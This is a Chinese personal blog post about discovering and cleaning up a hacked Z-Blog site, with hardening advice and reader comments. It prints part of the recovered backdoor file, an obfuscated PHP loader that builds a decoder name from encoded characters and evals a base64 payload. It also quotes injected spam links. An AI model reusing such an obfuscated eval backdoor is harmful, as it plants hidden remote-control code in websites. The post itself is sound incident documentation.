本博以前从未被黑,或者被黑而全然不知,直至上次,对《百度搜索违规低质页面问题说明》自查时,发现博客被黑了。
发现被黑的过程
检测工具:站长工具的“网站被黑检测”
(https://stool.chinaz.com/tools/webcheck.aspx)
结果显示:
1.“您网站可能被黑,可重查再次确认!”
2.“该网站屏蔽了所有蜘蛛”
3.搜索引擎的摸拟结果中,出现了大量外链
如下图。
我复制了搜索引擎摸拟的源码:
“
<a href="?Q4iP7/220715.html?id=.463370">男子和女网友吃饭遭围殴被捅身亡</a>
<a href="?M6PJg/254506.html">鼠头鸭脖涉事企业成立新公司</a>
<a href="?/www.baidu.com/link?url=.405788.html">让世界听到更多的金砖声音</a>
……(注:此处略去大量外链)
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="robots" content="noindex,nofollow,noarchive" />
……(注:此处略去部分代码)
<title>两对半-错误</title>
……(注:此处略去剩下代码)
”
把这些源码制成网页,打开后部分截图如下:
点开图中链接,电脑安全软件提示,打开的网页中含有木马,就关闭了。
由于博客可以正常访问,可以留言,可以发表文章,各项功能都很正常,自己和访客打开博客,也没有出现上面的外链,我甚至怀疑上面的检测有误。
于是,我拿其他的知名博客和身边的博客也去测试,可他们的结果却都是正常。
看来,博客确实是被黑了,黑的很巧妙,让人不易发现。
后来用空间后台提供的“木马查杀”功能,发现了后门文件,如下图:
下载并保存了这个后门文件“index_bak.php”,它的创建时间是2023年9月1日18:20,大小为2KB。
查看其源码如下:
“
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iek9iVWNBR1pMbk1EYVRXSENxaUp0bGZLZUJvWGh3eHlzWVF2VklOa0VQcGpkZ0ZtdXJSU3lnYUhNTm9pUlNCVHhBZVFFbmRxc2pJdGtYS1ZGVUptTHp1Q09waFpZd2xjUFdHZkRicnZ3VDlVeFFOaEVXS1phMWw1a0ExY01mT0ZQb09JaVNPRHozcmxhMjRLTTNybVYzcUNQVFl5dEVNWnFtWkR6MkZtdFRYNGdlSG1CRThVa1RZMkJFWkRNM3JtVjNxQ1BUWXl0RVBkcW1aRHpmR3lpQXowVjJyanoyOVppdldTempZOXd2TWxSZmhLTWRXVWhjWXlSQU4waFR6bFJRaDBNajltYTN1SkJtV1NNZE1sUlNoME1qOW1hM3VKQm1XU3h2TWxSZmhLTWRXVUJBdXlodjBVQkFwM2hFWkR6MkZtdFROSkJUTTBSQU4zQmNObFJmcUZNMkgyaEc5WmllaENpb0hLcTBzWHdBMFN0djV5UFFxSU1mOTBCQUJLcW11U3R2NWN4UXBLaEFZM2hBTkNoVEhVdHY1ZHpWaGpoY3JJaW9PY2Eycmp0RVBkUHkwOXFtWkR6Zkd5aUF6MFYycmp6MjlaaXZXU3pqWTl3dk1sUmZoS01kV1VrVGpkaHlwQ0JRV0pnb1lsUmZoS01kV
……(注:此处省去大量代码)
”
这不是正常PHP代码,是经过某种方式加密了,不想让人看见真正源码。
由此,进一步确定被黑的事实。
博客被黑后的处理
1.备份网站文件和数据库
我以前怕麻烦,未体验到网络世界的险恶,没有定期备份的习惯,一般只是重装博客前才备份。
发现被黑后,马上做了一个文件和数据库的备份。
2.查毒
用网站空间自带的“木马查杀”发现了后门文件。
删除后,再进行“网站被黑检测”,结果还是和上面一样。
说明网站某些文件代码被改变了。
把下载到电脑的备份文件、数据库和后门文件,用电脑里的杀毒软件扫描,未发现病毒木马。
我不知道怎么去掉限制蜘蛛的代码,也不知那些外链藏在哪里的,只有重装博客了。
3.重装博客程序
在备份后,将网站所有文件全部删除,并重置清空数据库,重装了zblog(注意:要安装最新版本的程序,否则安装不久之后又可能会被入侵)。
然后逐个对比核查备份与新博客的4个目录,再将相应的备份文件上传。
①网站根目录:
对备份里有而新博客没有的文件(或目录),要挨个核查,特别是多出来的PHP文件一定要删除,不确定的文件要查看源码。
对于确认是自用文件(或目录),通过FTP上传到网站根目录。
这次的后门文件“index_bak.php”就出现在根目录里。
记得这个文件是在升级博客出现故障过程中我自己创建的,应该是黑客把他的内容写进去覆盖了。
②zb_user目录下的主题目录(theme)、插件目录(plugin)和附件目录(upload):
附件(upload)文件夹,要检查里面文件的后缀名是否为图片格式(一般博客的附件都是图片),没有异常文件则上传;
主题(theme)、插件(plugin)文件夹,要挨个检查里面的子文件夹的文件数目是否与新装博客相同,每个文件还要对比文件大小,相同则执行覆盖,不同则需要对比查看源码。
我这次忘记检查文件数是否相同,下次重装要注意一下。
由于其他目录及文件是新生成的,通过这样严格对比备份与新博客的文件,即使没有进行第2步的查毒,也能杜绝这些不正当的文件和代码。
安装完成后,再次“网站被黑检测”,结果:“您网站正常!”,如下图。
被黑后的安全防范
痛定思痛,为防止再次被黑,我采取了以下安全措施。
1.开启网站登录验证码
在zblog后台,网站设置→后台设置→启用登录验证码功能,这样,登录后台时会出现验证码,能增加扫描后台密码的难度。
2.开启网站登录的令牌验证
最初zblog升级到提供令牌新版本时,看到如果安装令牌登录插件,Google身份验证器要翻墙验证,就没有开启。
现在被黑后,再次尝试,发现用国内的宁盾令牌可避免翻墙,很容易安装。
开启令牌验证后,要登录后台,必须要密码、验证码和手机中的令牌,几乎断绝了非法后台登录了。如下图。
3.开启zblog“安全增强”
在zblog后台,网站设置→全局设置→把“安全增强”按钮打开(至于是怎么安全增强的,zblog并没有说明原理,反正就打开吧)。
同时,这页还有一个调试模式按钮,这是在博客出现问题时,帮助查看原因的,它会暴露一样博客文件路径及代码信息。
所在,在正常情况下一定要关闭。如下图。最后记得要提交。
4.开启应用中心的安全模式
插件的使用,能给网站带来更多的功能,但也是一个不安全因素。
开启安全模式,可防止黑客安装插件。
当暂时不需要安装新的插件时,开启安全模式,此后就只能更新现有插件,而不能安装新的插件。
操作如下:
zblog后台→安全中心→打开“安全模式”,这时在“网站目录/zb_users/data/”中会产生一个文件,如下图。
下次需要安装插件时,要登录空间或用FTP将该文件删除才能进入应用中心安装。
以上2、3、4项是Z-BlogPHP1.7.3.3260版本及以上才有的功能,不同的博客程序会不一样。
5.php.ini设置
虚拟主机后台的“高级环环境设置”中,提供了php.ini设置,如下图:
在PHP环境相关参数中,我只启动了上传文件开关,这是博客上传图片所必需的。
在PHP函数设置中,我禁用了“PHP函数chown”,它可以修改文件(或目录)的所有者或所属组,是相当危险的,必须关闭!
还有一个函数“chmod”,可以改变文件(或目录)访问权限,比如将某个目录或文件赋予写入、读取或执行权限,也具有很大的危险性,当主题、插件安装使用后,最好将其关闭,下次需要使用主题、插件时再临时打开。
6.文件权限设置
个人觉得这是防止被黑的一个非常重要的地方。当主题、插件等安装、编译模板等之后,通过主机空间的“文件管理”或FTP,将网站根目录(含所有子目录及文件)权限设为“可读可执行(禁止写入)”状态,再将“网站目录/zb_users/upload/”目录(含所有子目录及文件)设为“可读可写(禁止脚本执行)”状态。
当需要安装插件时,再把相应目录权限打开。
我这次被黑,自建PHP文件被写入代码变成后门文件,其他的文件也可能被写入了代码,从而被挂上了外链和禁止了网络蜘蛛。
所以,当不再安装插件或主题时,要禁止目录和文件的写入权限,还要禁用PHP.ini中的“chmod函数”,以禁止写入。
7.FTP功能的关闭
通过FTP可以上传、删除、下载文件,并且可以设置文件权限,一旦被黑客掌握,就可以为所欲为,所以,当博客程序安装完成后,就要在主机空间里将FTP功能关闭。
需要上传文件时再临时打开FTP功能。
8.密码安全
有4个密码,分别掌控着不同的安全事件。
博客后台登录密码:控制着插件、主题的安装入口等等;
主机空间登录密码:控制着FTP的开启、文件权限等等;
FTP密码:控制着文件上传下载、文件内容、修改文件权限等等;
数据库密码:控制文章内容、博客后台用户名、密码等重要信息。
以上密码需要经常更换,每次重装博客,所有的密码都要全部更换。
由于博客登录有令牌加持、FTP可以关闭、数据库密码不便经常更换,所以主机空间的密码除了重装博客更换外,还需要不定期的更换。
密码长度最好在13位及以上(博客后台密码至少要10位及以上),要包括大小写字母、数字和特殊符号。
9.备份
对付被黑的终极大法,就是平时多做备份。
这次被黑,没有删除我的网站文件,也没有加密数据库来勒索我,良心还算不太坏。
不过,也许是无法联系我吧。
就算联系到我,一个不产生经济效益的穷博客,又能勒索到经济效益呢?
大不了,不要以前的博客数据,从头开始,或者从此不再博客,落得一身轻松。
当然,最好还是经常备份。我现在是每发表一篇文章后,就备份一下网站文件和数据库,最好在下载插件之前也做一下备份,以防一些不安全的插件。
最近准备在“双11”入手一个容量稍大的U盘,在工作地点、家里的电脑和U盘上做好备份。
2023年11月15日PS:
花了89元买了一个256G的U盘,随身携带,不管是网站备份,还是密码更换,都在U盘和家里电脑、工作电脑各保存一份。
密码用在线随机密码生成的网站获取,可以做到每次登录后更换新的随机密码,网站备份做到每次发表文章后备份一次,感觉很踏实。
10.使用CDN
CDN是分布式内容分发网络,我的理解是,CDN提供商在国内或国外各地设了许多服务器,将网站的一些内容复制储存在这些服务器中,当用户访问时,从就近服务器中取出相关内容返给用户。
这样做的好处是提高了用户的访问速度,同时隐藏了网站的真正IP,防止黑客扫描漏洞,并能在一定程序上抵御对网站发动的DDOS攻击。
11.及时更新博客程序
一般入侵都是利用了网站程序的漏洞,要及时更新博客程序的新版本,特别是那些有安全漏洞补丁的升级版本。(2023年11月7日补充)
总之,多做备份(每发表一篇文章之后和安装插件之前,做个备份),勤改密码(每次重装博客时改变所有密码,主机空间密码每月一改),FTP常设关闭,注意检查文件权限(除附件目录upload允许写入、禁止执行外,其他目录及文件的权限均禁止写入,及时关闭PHP.ini的“chmod函数”),开启两步登录(令牌验证)等等。
我是首次被黑,以前安全意识不强,也没有安防经验,除了验证码登录,在发现被黑之前,几乎没有采取其他任何措施。以上是我所能想到的初步防黑手段,希望有经验的大佬们看到,能指点一二。
另外,绝大多数个人博客没有什么经济效益,还要花钱买域名、买空间,花精力、花时间动脑子写文章,全凭一点兴趣爱好为动力,能坚持下去实属不易。
许多博客往往写着写着就不更新了,甚至就打不开了。
请黑客们也手下留情,毕竟个人博客,太难了。
您可能感兴趣的文章:两对半博客的2024年计划 (2024-01-09)
《百度搜索违规低质页面问题说明》自查:发现博客被黑 (2023-10-23)
重装zblog过程记录 (2023-09-02)
评论列表:
最近阿里云搞活动99元一年服务器,我也不敢用,就是怕服务器hold不住啊
最好重装最新版本程序,一般都是版本有漏洞引起的
我开始也以为是新创的,后来想起是自己创建的,黑客把内容写入覆盖了。
应该是文件权限没限制的原因吧。
我在想,黑客是不是通过扫描或者其他漏洞获取了登录密码,然后通过插件或者什么把代码写入了文件
我刚查了一下你的网站,也是被百度提示为低质网点哈哈,你可以去百度《资源平台验证关系清退反馈》提交一下:https://iwenjuan.baidu.com/?code=c9lol4